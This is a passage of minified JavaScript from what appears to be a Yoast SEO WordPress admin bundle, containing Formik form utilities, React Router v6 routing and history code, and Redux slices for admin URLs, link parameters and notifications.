t.forEach((function(t,a){if(void 0===r[a]){var o=!1!==s.clone&&s.isMergeableObject(t);r[a]=o?y(Array.isArray(t)?[]:{},t,s):t}else s.isMergeableObject(t)?r[a]=y(e[a],t,s):-1===e.indexOf(t)&&r.push(t)})),r}var Q="undefined"!=typeof window&&void 0!==window.document&&void 0!==window.document.createElement?e.useLayoutEffect:e.useEffect;function X(t){var s=(0,e.useRef)(t);return Q((function(){s.current=t})),(0,e.useCallback)((function(){for(var e=arguments.length,t=new Array(e),r=0;r<e;r++)t[r]=arguments[r];return s.current.apply(void 0,t)}),[])}function ee(t){var s=q(),r=s.getFieldProps,a=s.getFieldMeta,o=s.getFieldHelpers,n=s.registerField,i=s.unregisterField,l=I(t)?t:{name:t},c=l.name,d=l.validate;return(0,e.useEffect)((function(){return c&&n(c,{validate:d}),function(){c&&i(c)}}),[n,i,c,d]),c||x(!1),[r(l),a(c),o(c)]}function te(t){var s=t.validate,r=t.name,a=t.render,o=t.children,n=t.as,i=t.component,l=$(t,["validate","name","render","children","as","component"]),c=$(q(),["validate","validationSchema"]),d=c.registerField,u=c.unregisterField;(0,e.useEffect)((function(){return d(r,{validate:s}),function(){u(r)}}),[d,u,r,s]);var p=c.getFieldProps(F({name:r},l)),m=c.getFieldMeta(r),f={field:p,form:c};if(a)return a(F({},f,{meta:m}));if(N(o))return o(F({},f,{meta:m}));if(i){if("string"==typeof i){var h=l.innerRef,y=$(l,["innerRef"]);return(0,e.createElement)(i,F({ref:h},p,y),o)}return(0,e.createElement)(i,F({field:p,form:c},l),o)}var _=n||"input";if("string"==typeof _){var w=l.innerRef,g=$(l,["innerRef"]);return(0,e.createElement)(_,F({ref:w},p,g),o)}return(0,e.createElement)(_,F({},p,l),o)}var se=(0,e.forwardRef)((function(t,s){var r=t.action,a=$(t,["action"]),o=null!=r?r:"#",n=q(),i=n.handleReset,l=n.handleSubmit;return(0,e.createElement)("form",Object.assign({onSubmit:l,ref:s,onReset:i,action:o},a))}));function re(t){var s=function(s){return(0,e.createElement)(z,null,(function(r){return r||x(!1),(0,e.createElement)(t,Object.assign({},s,{formik:r}))}))},r=t.displayName||t.name||t.constructor&&t.constructor.name||"Component";return s.WrappedComponent=t,s.displayName="FormikConnect("+r+")",S()(s,t)}se.displayName="Form";var ae=function(e,t,s){var r=oe(e);return r.splice(t,0,s),r},oe=function(e){if(e){if(Array.isArray(e))return[].concat(e);var t=Object.keys(e).map((function(e){return parseInt(e)})).reduce((function(e,t){return t>e?t:e}),0);return Array.from(F({},e,{length:t+1}))}return[]},ne=function(t){function s(e){var s;return(s=t.call(this,e)||this).updateArrayField=function(e,t,r){var a=s.props,o=a.name;(0,a.formik.setFormikState)((function(s){var a="function"==typeof r?r:e,n="function"==typeof t?t:e,i=B(s.values,o,e(D(s.values,o))),l=r?a(D(s.errors,o)):void 0,c=t?n(D(s.touched,o)):void 0;return R(l)&&(l=void 0),R(c)&&(c=void 0),F({},s,{values:i,errors:r?B(s.errors,o,l):s.errors,touched:t?B(s.touched,o,c):s.touched})}))},s.push=function(e){return s.updateArrayField((function(t){return[].concat(oe(t),[T()(e)])}),!1,!1)},s.handlePush=function(e){return function(){return s.push(e)}},s.swap=function(e,t){return s.updateArrayField((function(s){return function(e,t,s){var r=oe(e),a=r[t];return r[t]=r[s],r[s]=a,r}(s,e,t)}),!0,!0)},s.handleSwap=function(e,t){return function(){return s.swap(e,t)}},s.move=function(e,t){return s.updateArrayField((function(s){return function(e,t,s){var r=oe(e),a=r[t];return r.splice(t,1),r.splice(s,0,a),r}(s,e,t)}),!0,!0)},s.handleMove=function(e,t){return function(){return s.move(e,t)}},s.insert=function(e,t){return s.updateArrayField((function(s){return ae(s,e,t)}),(function(t){return ae(t,e,null)}),(function(t){return ae(t,e,null)}))},s.handleInsert=function(e,t){return function(){return s.insert(e,t)}},s.replace=function(e,t){return s.updateArrayField((function(s){return function(e,t,s){var r=oe(e);return r[t]=s,r}(s,e,t)}),!1,!1)},s.handleReplace=function(e,t){return function(){return s.replace(e,t)}},s.unshift=function(e){var t=-1;return s.updateArrayField((function(s){var r=s?[e].concat(s):[e];return t<0&&(t=r.length),r}),(function(e){var s=e?[null].concat(e):[null];return t<0&&(t=s.length),s}),(function(e){var s=e?[null].concat(e):[null];return t<0&&(t=s.length),s})),t},s.handleUnshift=function(e){return function(){return s.unshift(e)}},s.handleRemove=function(e){return function(){return s.remove(e)}},s.handlePop=function(){return function(){return s.pop()}},s.remove=s.remove.bind(P(s)),s.pop=s.pop.bind(P(s)),s}var r,a;a=t,(r=s).prototype=Object.create(a.prototype),r.prototype.constructor=r,r.__proto__=a;var o=s.prototype;return o.componentDidUpdate=function(e){this.props.validateOnChange&&this.props.formik.validateOnChange&&!d()(D(e.formik.values,e.name),D(this.props.formik.values,this.props.name))&&this.props.formik.validateForm(this.props.formik.values)},o.remove=function(e){var t;return this.updateArrayField((function(s){var r=s?oe(s):[];return t||(t=r[e]),N(r.splice)&&r.splice(e,1),r}),!0,!0),t},o.pop=function(){var e;return this.updateArrayField((function(t){var s=t;return e||(e=s&&s.pop&&s.pop()),s}),!0,!0),e},o.render=function(){var t={push:this.push,pop:this.pop,swap:this.swap,move:this.move,insert:this.insert,replace:this.replace,unshift:this.unshift,remove:this.remove,handlePush:this.handlePush,handlePop:this.handlePop,handleSwap:this.handleSwap,handleMove:this.handleMove,handleInsert:this.handleInsert,handleReplace:this.handleReplace,handleUnshift:this.handleUnshift,handleRemove:this.handleRemove},s=this.props,r=s.component,a=s.render,o=s.children,n=s.name,i=F({},t,{form:$(s.formik,["validate","validationSchema"]),name:n});return r?(0,e.createElement)(r,i):a?a(i):o?"function"==typeof o?o(i):A(o)?null:e.Children.only(o):null},s}(e.Component);ne.defaultProps={validateOnChange:!0};var ie=re(ne);const le=window.lodash,ce=window.ReactDOM;function de(){return de=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},de.apply(this,arguments)}var ue;!function(e){e.Pop="POP",e.Push="PUSH",e.Replace="REPLACE"}(ue||(ue={}));const pe="popstate";function me(e,t){if(!1===e||null==e)throw new Error(t)}function fe(e,t){if(!e){"undefined"!=typeof console&&console.warn(t);try{throw new Error(t)}catch(e){}}}function he(e,t){return{usr:e.state,key:e.key,idx:t}}function ye(e,t,s,r){return void 0===s&&(s=null),de({pathname:"string"==typeof e?e:e.pathname,search:"",hash:""},"string"==typeof t?we(t):t,{state:s,key:t&&t.key||r||Math.random().toString(36).substr(2,8)})}function _e(e){let{pathname:t="/",search:s="",hash:r=""}=e;return s&&"?"!==s&&(t+="?"===s.charAt(0)?s:"?"+s),r&&"#"!==r&&(t+="#"===r.charAt(0)?r:"#"+r),t}function we(e){let t={};if(e){let s=e.indexOf("#");s>=0&&(t.hash=e.substr(s),e=e.substr(0,s));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}var ge;function be(e,t,s){return void 0===s&&(s="/"),function(e,t,s,r){let a=Oe(("string"==typeof t?we(t):t).pathname||"/",s);if(null==a)return null;let o=ve(e);!function(e){e.sort(((e,t)=>e.score!==t.score?t.score-e.score:function(e,t){let s=e.length===t.length&&e.slice(0,-1).every(((e,s)=>e===t[s]));return s?e[e.length-1]-t[t.length-1]:0}(e.routesMeta.map((e=>e.childrenIndex)),t.routesMeta.map((e=>e.childrenIndex)))))}(o);let n=null;for(let e=0;null==n&&e<o.length;++e){let t=Ie(a);n=Re(o[e],t,r)}return n}(e,t,s,!1)}function ve(e,t,s,r){void 0===t&&(t=[]),void 0===s&&(s=[]),void 0===r&&(r="");let a=(e,a,o)=>{let n={relativePath:void 0===o?e.path||"":o,caseSensitive:!0===e.caseSensitive,childrenIndex:a,route:e};n.relativePath.startsWith("/")&&(me(n.relativePath.startsWith(r),'Absolute route path "'+n.relativePath+'" nested under path "'+r+'" is not valid. An absolute child route path must start with the combined path of all its parent routes.'),n.relativePath=n.relativePath.slice(r.length));let i=De([r,n.relativePath]),l=s.concat(n);e.children&&e.children.length>0&&(me(!0!==e.index,'Index routes must not have child routes. Please remove all child routes from route path "'+i+'".'),ve(e.children,t,l,i)),(null!=e.path||e.index)&&t.push({path:i,score:Pe(i,e.index),routesMeta:l})};return e.forEach(((e,t)=>{var s;if(""!==e.path&&null!=(s=e.path)&&s.includes("?"))for(let s of Ee(e.path))a(e,t,s);else a(e,t)})),t}function Ee(e){let t=e.split("/");if(0===t.length)return[];let[s,...r]=t,a=s.endsWith("?"),o=s.replace(/\?$/,"");if(0===r.length)return a?[o,""]:[o];let n=Ee(r.join("/")),i=[];return i.push(...n.map((e=>""===e?o:[o,e].join("/")))),a&&i.push(...n),i.map((t=>e.startsWith("/")&&""===t?"/":t))}!function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"}(ge||(ge={})),new Set(["lazy","caseSensitive","path","id","index","children"]);const xe=/^:[\w-]+$/,ke=3,Se=2,Le=1,Te=10,Fe=-2,$e=e=>"*"===e;function Pe(e,t){let s=e.split("/"),r=s.length;return s.some($e)&&(r+=Fe),t&&(r+=Se),s.filter((e=>!$e(e))).reduce(((e,t)=>e+(xe.test(t)?ke:""===t?Le:Te)),r)}function Re(e,t,s){void 0===s&&(s=!1);let{routesMeta:r}=e,a={},o="/",n=[];for(let e=0;e<r.length;++e){let i=r[e],l=e===r.length-1,c="/"===o?t:t.slice(o.length)||"/",d=Ne({path:i.relativePath,caseSensitive:i.caseSensitive,end:l},c),u=i.route;if(!d&&l&&s&&!r[r.length-1].route.index&&(d=Ne({path:i.relativePath,caseSensitive:i.caseSensitive,end:!1},c)),!d)return null;Object.assign(a,d.params),n.push({params:a,pathname:De([o,d.pathname]),pathnameBase:Be(De([o,d.pathnameBase])),route:u}),"/"!==d.pathnameBase&&(o=De([o,d.pathnameBase]))}return n}function Ne(e,t){"string"==typeof e&&(e={path:e,caseSensitive:!1,end:!0});let[s,r]=function(e,t,s){void 0===t&&(t=!1),void 0===s&&(s=!0),fe("*"===e||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were "'+e.replace(/\*$/,"/*")+'" because the `*` character must always follow a `/` in the pattern. To get rid of this warning, please change the route path to "'+e.replace(/\*$/,"/*")+'".');let r=[],a="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,((e,t,s)=>(r.push({paramName:t,isOptional:null!=s}),s?"/?([^\\/]+)?":"/([^\\/]+)")));return e.endsWith("*")?(r.push({paramName:"*"}),a+="*"===e||"/*"===e?"(.*)$":"(?:\\/(.+)|\\/*)$"):s?a+="\\/*$":""!==e&&"/"!==e&&(a+="(?:(?=\\/|$))"),[new RegExp(a,t?void 0:"i"),r]}(e.path,e.caseSensitive,e.end),a=t.match(s);if(!a)return null;let o=a[0],n=o.replace(/(.)\/+$/,"$1"),i=a.slice(1);return{params:r.reduce(((e,t,s)=>{let{paramName:r,isOptional:a}=t;if("*"===r){let e=i[s]||"";n=o.slice(0,o.length-e.length).replace(/(.)\/+$/,"$1")}const l=i[s];return e[r]=a&&!l?void 0:(l||"").replace(/%2F/g,"/"),e}),{}),pathname:o,pathnameBase:n,pattern:e}}function Ie(e){try{return e.split("/").map((e=>decodeURIComponent(e).replace(/\//g,"%2F"))).join("/")}catch(t){return fe(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent encoding ('+t+")."),e}}function Oe(e,t){if("/"===t)return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let s=t.endsWith("/")?t.length-1:t.length,r=e.charAt(s);return r&&"/"!==r?null:e.slice(s)||"/"}function Ce(e,t,s,r){return"Cannot include a '"+e+"' character in a manually specified `to."+t+"` field ["+JSON.stringify(r)+"].  Please separate it out to the `to."+s+'` field. Alternatively you may provide the full path as a string in <Link to="..."> and the router will parse it for you.'}function Ae(e,t){let s=function(e){return e.filter(((e,t)=>0===t||e.route.path&&e.route.path.length>0))}(e);return t?s.map(((e,t)=>t===s.length-1?e.pathname:e.pathnameBase)):s.map((e=>e.pathnameBase))}function Me(e,t,s,r){let a;void 0===r&&(r=!1),"string"==typeof e?a=we(e):(a=de({},e),me(!a.pathname||!a.pathname.includes("?"),Ce("?","pathname","search",a)),me(!a.pathname||!a.pathname.includes("#"),Ce("#","pathname","hash",a)),me(!a.search||!a.search.includes("#"),Ce("#","search","hash",a)));let o,n=""===e||""===a.pathname,i=n?"/":a.pathname;if(null==i)o=s;else{let e=t.length-1;if(!r&&i.startsWith("..")){let t=i.split("/");for(;".."===t[0];)t.shift(),e-=1;a.pathname=t.join("/")}o=e>=0?t[e]:"/"}let l=function(e,t){void 0===t&&(t="/");let{pathname:s,search:r="",hash:a=""}="string"==typeof e?we(e):e,o=s?s.startsWith("/")?s:function(e,t){let s=t.replace(/\/+$/,"").split("/");return e.split("/").forEach((e=>{".."===e?s.length>1&&s.pop():"."!==e&&s.push(e)})),s.length>1?s.join("/"):"/"}(s,t):t;return{pathname:o,search:Ue(r),hash:Ve(a)}}(a,o),c=i&&"/"!==i&&i.endsWith("/"),d=(n||"."===i)&&s.endsWith("/");return l.pathname.endsWith("/")||!c&&!d||(l.pathname+="/"),l}const De=e=>e.join("/").replace(/\/\/+/g,"/"),Be=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),Ue=e=>e&&"?"!==e?e.startsWith("?")?e:"?"+e:"",Ve=e=>e&&"#"!==e?e.startsWith("#")?e:"#"+e:"";Error;const je=["post","put","patch","delete"],ze=(new Set(je),["get",...je]);function qe(){return qe=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},qe.apply(this,arguments)}new Set(ze),new Set([301,302,303,307,308]),new Set([307,308]),Symbol("deferred");const We=e.createContext(null),He=e.createContext(null),Ye=e.createContext(null),Ge=e.createContext(null),Ke=e.createContext({outlet:null,matches:[],isDataRoute:!1}),Ze=e.createContext(null);function Je(){return null!=e.useContext(Ge)}function Qe(){return Je()||me(!1),e.useContext(Ge).location}function Xe(t){e.useContext(Ye).static||e.useLayoutEffect(t)}function et(){let{isDataRoute:t}=e.useContext(Ke);return t?function(){let{router:t}=function(t){let s=e.useContext(We);return s||me(!1),s}(it.UseNavigateStable),s=ct(lt.UseNavigateStable),r=e.useRef(!1);return Xe((()=>{r.current=!0})),e.useCallback((function(e,a){void 0===a&&(a={}),r.current&&("number"==typeof e?t.navigate(e):t.navigate(e,qe({fromRouteId:s},a)))}),[t,s])}():function(){Je()||me(!1);let t=e.useContext(We),{basename:s,future:r,navigator:a}=e.useContext(Ye),{matches:o}=e.useContext(Ke),{pathname:n}=Qe(),i=JSON.stringify(Ae(o,r.v7_relativeSplatPath)),l=e.useRef(!1);return Xe((()=>{l.current=!0})),e.useCallback((function(e,r){if(void 0===r&&(r={}),!l.current)return;if("number"==typeof e)return void a.go(e);let o=Me(e,JSON.parse(i),n,"path"===r.relative);null==t&&"/"!==s&&(o.pathname="/"===o.pathname?s:De([s,o.pathname])),(r.replace?a.replace:a.push)(o,r.state,r)}),[s,a,i,n,t])}()}function tt(t,s){let{relative:r}=void 0===s?{}:s,{future:a}=e.useContext(Ye),{matches:o}=e.useContext(Ke),{pathname:n}=Qe(),i=JSON.stringify(Ae(o,a.v7_relativeSplatPath));return e.useMemo((()=>Me(t,JSON.parse(i),n,"path"===r)),[t,i,n,r])}function st(t,s,r,a){Je()||me(!1);let{navigator:o}=e.useContext(Ye),{matches:n}=e.useContext(Ke),i=n[n.length-1],l=i?i.params:{},c=(i&&i.pathname,i?i.pathnameBase:"/");i&&i.route;let d,u=Qe();if(s){var p;let e="string"==typeof s?we(s):s;"/"===c||(null==(p=e.pathname)?void 0:p.startsWith(c))||me(!1),d=e}else d=u;let m=d.pathname||"/",f=m;if("/"!==c){let e=c.replace(/^\//,"").split("/");f="/"+m.replace(/^\//,"").split("/").slice(e.length).join("/")}let h=be(t,{pathname:f}),y=function(t,s,r,a){var o;if(void 0===s&&(s=[]),void 0===r&&(r=null),void 0===a&&(a=null),null==t){var n;if(!r)return null;if(r.errors)t=r.matches;else{if(!(null!=(n=a)&&n.v7_partialHydration&&0===s.length&&!r.initialized&&r.matches.length>0))return null;t=r.matches}}let i=t,l=null==(o=r)?void 0:o.errors;if(null!=l){let e=i.findIndex((e=>e.route.id&&void 0!==(null==l?void 0:l[e.route.id])));e>=0||me(!1),i=i.slice(0,Math.min(i.length,e+1))}let c=!1,d=-1;if(r&&a&&a.v7_partialHydration)for(let e=0;e<i.length;e++){let t=i[e];if((t.route.HydrateFallback||t.route.hydrateFallbackElement)&&(d=e),t.route.id){let{loaderData:e,errors:s}=r,a=t.route.loader&&void 0===e[t.route.id]&&(!s||void 0===s[t.route.id]);if(t.route.lazy||a){c=!0,i=d>=0?i.slice(0,d+1):[i[0]];break}}}return i.reduceRight(((t,a,o)=>{let n,u=!1,p=null,m=null;var f;r&&(n=l&&a.route.id?l[a.route.id]:void 0,p=a.route.errorElement||at,c&&(d<0&&0===o?(dt[f="route-fallback"]||(dt[f]=!0),u=!0,m=null):d===o&&(u=!0,m=a.route.hydrateFallbackElement||null)));let h=s.concat(i.slice(0,o+1)),y=()=>{let s;return s=n?p:u?m:a.route.Component?e.createElement(a.route.Component,null):a.route.element?a.route.element:t,e.createElement(nt,{match:a,routeContext:{outlet:t,matches:h,isDataRoute:null!=r},children:s})};return r&&(a.route.ErrorBoundary||a.route.errorElement||0===o)?e.createElement(ot,{location:r.location,revalidation:r.revalidation,component:p,error:n,children:y(),routeContext:{outlet:null,matches:h,isDataRoute:!0}}):y()}),null)}(h&&h.map((e=>Object.assign({},e,{params:Object.assign({},l,e.params),pathname:De([c,o.encodeLocation?o.encodeLocation(e.pathname).pathname:e.pathname]),pathnameBase:"/"===e.pathnameBase?c:De([c,o.encodeLocation?o.encodeLocation(e.pathnameBase).pathname:e.pathnameBase])}))),n,r,a);return s&&y?e.createElement(Ge.Provider,{value:{location:qe({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ue.Pop}},y):y}function rt(){let t=function(){var t;let s=e.useContext(Ze),r=function(t){let s=e.useContext(He);return s||me(!1),s}(lt.UseRouteError),a=ct(lt.UseRouteError);return void 0!==s?s:null==(t=r.errors)?void 0:t[a]}(),s=function(e){return null!=e&&"number"==typeof e.status&&"string"==typeof e.statusText&&"boolean"==typeof e.internal&&"data"in e}(t)?t.status+" "+t.statusText:t instanceof Error?t.message:JSON.stringify(t),r=t instanceof Error?t.stack:null,a={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return e.createElement(e.Fragment,null,e.createElement("h2",null,"Unexpected Application Error!"),e.createElement("h3",{style:{fontStyle:"italic"}},s),r?e.createElement("pre",{style:a},r):null,null)}const at=e.createElement(rt,null);class ot extends e.Component{constructor(e){super(e),this.state={location:e.location,revalidation:e.revalidation,error:e.error}}static getDerivedStateFromError(e){return{error:e}}static getDerivedStateFromProps(e,t){return t.location!==e.location||"idle"!==t.revalidation&&"idle"===e.revalidation?{error:e.error,location:e.location,revalidation:e.revalidation}:{error:void 0!==e.error?e.error:t.error,location:t.location,revalidation:e.revalidation||t.revalidation}}componentDidCatch(e,t){console.error("React Router caught the following error during render",e,t)}render(){return void 0!==this.state.error?e.createElement(Ke.Provider,{value:this.props.routeContext},e.createElement(Ze.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function nt(t){let{routeContext:s,match:r,children:a}=t,o=e.useContext(We);return o&&o.static&&o.staticContext&&(r.route.errorElement||r.route.ErrorBoundary)&&(o.staticContext._deepestRenderedBoundaryId=r.route.id),e.createElement(Ke.Provider,{value:s},a)}var it=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(it||{}),lt=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(lt||{});function ct(t){let s=function(t){let s=e.useContext(Ke);return s||me(!1),s}(),r=s.matches[s.matches.length-1];return r.route.id||me(!1),r.route.id}const dt={};function ut(t){let{to:s,replace:r,state:a,relative:o}=t;Je()||me(!1);let{future:n,static:i}=e.useContext(Ye),{matches:l}=e.useContext(Ke),{pathname:c}=Qe(),d=et(),u=Me(s,Ae(l,n.v7_relativeSplatPath),c,"path"===o),p=JSON.stringify(u);return e.useEffect((()=>d(JSON.parse(p),{replace:r,state:a,relative:o})),[d,p,o,r,a]),null}function pt(e){me(!1)}function mt(t){let{basename:s="/",children:r=null,location:a,navigationType:o=ue.Pop,navigator:n,static:i=!1,future:l}=t;Je()&&me(!1);let c=s.replace(/^\/*/,"/"),d=e.useMemo((()=>({basename:c,navigator:n,static:i,future:qe({v7_relativeSplatPath:!1},l)})),[c,l,n,i]);"string"==typeof a&&(a=we(a));let{pathname:u="/",search:p="",hash:m="",state:f=null,key:h="default"}=a,y=e.useMemo((()=>{let e=Oe(u,c);return null==e?null:{location:{pathname:e,search:p,hash:m,state:f,key:h},navigationType:o}}),[c,u,p,m,f,h,o]);return null==y?null:e.createElement(Ye.Provider,{value:d},e.createElement(Ge.Provider,{children:r,value:y}))}function ft(e){let{children:t,location:s}=e;return st(ht(t),s)}function ht(t,s){void 0===s&&(s=[]);let r=[];return e.Children.forEach(t,((t,a)=>{if(!e.isValidElement(t))return;let o=[...s,a];if(t.type===e.Fragment)return void r.push.apply(r,ht(t.props.children,o));t.type!==pt&&me(!1),t.props.index&&t.props.children&&me(!1);let n={id:t.props.id||o.join("-"),caseSensitive:t.props.caseSensitive,element:t.props.element,Component:t.props.Component,index:t.props.index,path:t.props.path,loader:t.props.loader,action:t.props.action,errorElement:t.props.errorElement,ErrorBoundary:t.props.ErrorBoundary,hasErrorBoundary:null!=t.props.ErrorBoundary||null!=t.props.errorElement,shouldRevalidate:t.props.shouldRevalidate,handle:t.props.handle,lazy:t.props.lazy};t.props.children&&(n.children=ht(t.props.children,o)),r.push(n)})),r}function yt(){return yt=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},yt.apply(this,arguments)}e.startTransition,new Promise((()=>{})),e.Component,new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);const _t=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","unstable_viewTransition"];try{window.__reactRouterVersion="6"}catch(cs){}new Map;const wt=e.startTransition;function gt(t){let{basename:s,children:r,future:a,window:o}=t,n=e.useRef();var i;null==n.current&&(n.current=(void 0===(i={window:o,v5Compat:!0})&&(i={}),function(e,t,s,r){void 0===r&&(r={});let{window:a=document.defaultView,v5Compat:o=!1}=r,n=a.history,i=ue.Pop,l=null,c=d();function d(){return(n.state||{idx:null}).idx}function u(){i=ue.Pop;let e=d(),t=null==e?null:e-c;c=e,l&&l({action:i,location:m.location,delta:t})}function p(e){let t="null"!==a.location.origin?a.location.origin:a.location.href,s="string"==typeof e?e:_e(e);return s=s.replace(/ $/,"%20"),me(t,"No window.location.(origin|href) available to create URL for href: "+s),new URL(s,t)}null==c&&(c=0,n.replaceState(de({},n.state,{idx:c}),""));let m={get action(){return i},get location(){return e(a,n)},listen(e){if(l)throw new Error("A history only accepts one active listener");return a.addEventListener(pe,u),l=e,()=>{a.removeEventListener(pe,u),l=null}},createHref:e=>t(a,e),createURL:p,encodeLocation(e){let t=p(e);return{pathname:t.pathname,search:t.search,hash:t.hash}},push:function(e,t){i=ue.Push;let r=ye(m.location,e,t);s&&s(r,e),c=d()+1;let u=he(r,c),p=m.createHref(r);try{n.pushState(u,"",p)}catch(e){if(e instanceof DOMException&&"DataCloneError"===e.name)throw e;a.location.assign(p)}o&&l&&l({action:i,location:m.location,delta:1})},replace:function(e,t){i=ue.Replace;let r=ye(m.location,e,t);s&&s(r,e),c=d();let a=he(r,c),u=m.createHref(r);n.replaceState(a,"",u),o&&l&&l({action:i,location:m.location,delta:0})},go:e=>n.go(e)};return m}((function(e,t){let{pathname:s="/",search:r="",hash:a=""}=we(e.location.hash.substr(1));return s.startsWith("/")||s.startsWith(".")||(s="/"+s),ye("",{pathname:s,search:r,hash:a},t.state&&t.state.usr||null,t.state&&t.state.key||"default")}),(function(e,t){let s=e.document.querySelector("base"),r="";if(s&&s.getAttribute("href")){let t=e.location.href,s=t.indexOf("#");r=-1===s?t:t.slice(0,s)}return r+"#"+("string"==typeof t?t:_e(t))}),(function(e,t){fe("/"===e.pathname.charAt(0),"relative pathnames are not supported in hash history.push("+JSON.stringify(t)+")")}),i)));let l=n.current,[c,d]=e.useState({action:l.action,location:l.location}),{v7_startTransition:u}=a||{},p=e.useCallback((e=>{u&&wt?wt((()=>d(e))):d(e)}),[d,u]);return e.useLayoutEffect((()=>l.listen(p)),[l,p]),e.createElement(mt,{basename:s,children:r,location:c.location,navigationType:c.action,navigator:l,future:a})}ce.flushSync,e.useId;const bt="undefined"!=typeof window&&void 0!==window.document&&void 0!==window.document.createElement,vt=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,Et=e.forwardRef((function(t,s){let r,{onClick:a,relative:o,reloadDocument:n,replace:i,state:l,target:c,to:d,preventScrollReset:u,unstable_viewTransition:p}=t,m=function(e,t){if(null==e)return{};var s,r,a={},o=Object.keys(e);for(r=0;r<o.length;r++)s=o[r],t.indexOf(s)>=0||(a[s]=e[s]);return a}(t,_t),{basename:f}=e.useContext(Ye),h=!1;if("string"==typeof d&&vt.test(d)&&(r=d,bt))try{let e=new URL(window.location.href),t=d.startsWith("//")?new URL(e.protocol+d):new URL(d),s=Oe(t.pathname,f);t.origin===e.origin&&null!=s?d=s+t.search+t.hash:h=!0}catch(e){}let y=function(t,s){let{relative:r}=void 0===s?{}:s;Je()||me(!1);let{basename:a,navigator:o}=e.useContext(Ye),{hash:n,pathname:i,search:l}=tt(t,{relative:r}),c=i;return"/"!==a&&(c="/"===i?a:De([a,i])),o.createHref({pathname:c,search:l,hash:n})}(d,{relative:o}),_=function(t,s){let{target:r,replace:a,state:o,preventScrollReset:n,relative:i,unstable_viewTransition:l}=void 0===s?{}:s,c=et(),d=Qe(),u=tt(t,{relative:i});return e.useCallback((e=>{if(function(e,t){return!(0!==e.button||t&&"_self"!==t||function(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}(e))}(e,r)){e.preventDefault();let s=void 0!==a?a:_e(d)===_e(u);c(t,{replace:s,state:o,preventScrollReset:n,relative:i,unstable_viewTransition:l})}}),[d,c,u,a,o,r,t,n,i,l])}(d,{replace:i,state:l,target:c,preventScrollReset:u,relative:o,unstable_viewTransition:p});return e.createElement("a",yt({},m,{href:r||y,onClick:h||n?a:function(e){a&&a(e),e.defaultPrevented||_(e)},ref:s,target:c}))}));var xt,kt;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(xt||(xt={})),function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"}(kt||(kt={}));const St=window.yoast.styledComponents,Lt=window.wp.i18n,Tt=window.yoast.reduxJsToolkit,Ft="adminUrl",$t=(0,Tt.createSlice)({name:Ft,initialState:"",reducers:{setAdminUrl:(e,{payload:t})=>t}}),Pt=($t.getInitialState,{selectAdminUrl:e=>(0,le.get)(e,Ft,"")});Pt.selectAdminLink=(0,Tt.createSelector)([Pt.selectAdminUrl,(e,t)=>t],((e,t="")=>{try{return new URL(t,e).href}catch(t){return e}})),$t.actions,$t.reducer;const Rt=window.wp.url,Nt="linkParams",It=(0,Tt.createSlice)({name:Nt,initialState:{},reducers:{setLinkParams:(e,{payload:t})=>t}}),Ot=It.getInitialState,Ct={selectLinkParam:(e,t,s={})=>(0,le.get)(e,`${Nt}.${t}`,s),selectLinkParams:e=>(0,le.get)(e,Nt,{})};Ct.selectLink=(0,Tt.createSelector)([Ct.selectLinkParams,(e,t)=>t,(e,t,s={})=>s],((e,t,s)=>(0,Rt.addQueryArgs)(t,{...e,...s})));const At=It.actions,Mt=It.reducer,Dt="notifications",Bt=(0,Tt.createSlice)({name:Dt,initialState:{},reducers:{addNotification:{reducer:(e,{payload:t})=>{e[t.id]={id:t.id,variant:t.variant,size:t.size,title:t.title,description:t.description}},prepare:({id:e,variant:t="info",size:s="default",title:r,description:a})=>({payload:{id:e||(0,Tt.nanoid)(),variant:t,size:s,title:r||"",description:a}})},removeNotification:(e,{payload:t})=>(0,le.omit)(e,t)}}),Ut=Bt.getInitialState,Vt={selectNotifications:e=>(0,le.get)(e,Dt,{}),selectNotification:(e,t)=>(0,le.get)(e,[Dt,t],null)},jt=Bt.actions,zt=Bt.reducer,qt="pluginUrl",Wt=(0,Tt.createSlice)({name:qt,initialState:"",reducers:{setPluginUrl:(e,{payload:t})=>t}}),Ht=(Wt.getInitialState,{selectPluginUrl:e=>(0,le.get)(e,qt,"")});Ht.selectImageLink=(0,Tt.createSelector)([Ht.selectPluginUrl,(e,t,s="images")=>s,(e,t)=>t],((e,t,s)=>[(0,le.trimEnd)(e,"/"),(0,le.trim)(t,"/"),(0,le.trimStart)(s,"/")].join("/"